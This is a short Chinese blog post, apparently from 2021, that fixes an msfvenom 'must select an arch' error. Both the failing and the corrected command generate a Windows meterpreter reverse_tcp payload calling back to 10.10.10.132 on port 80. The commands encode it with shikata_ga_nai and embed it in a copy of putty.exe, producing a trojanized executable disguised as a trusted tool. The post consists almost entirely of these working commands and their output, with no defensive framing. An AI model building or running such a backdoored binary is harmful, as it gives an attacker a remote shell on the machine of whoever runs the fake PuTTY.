error: you must select an arch for a custom payload

具体信息:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=10.10.10.132 lport=80 R | msfvenom -e -t exe -x /home/z9m8r8/test/test2/putty.exe  -k -o 1.exe -e x86/shikata_ga_nai -c 5
Attempting to read payload from STDIN...
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 299 bytes
Error: You must select an arch for a custom payload

解决:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=10.10.10.132 lport=80 R | msfvenom -a x86 --platform Windows  --format=exe -x putty.exe  x86/shikata_ga_nai --format=exe > 1.exe

 

posted @ 2021-07-19 21:20  z9m8r8  阅读(863)  评论(0编辑  收藏  举报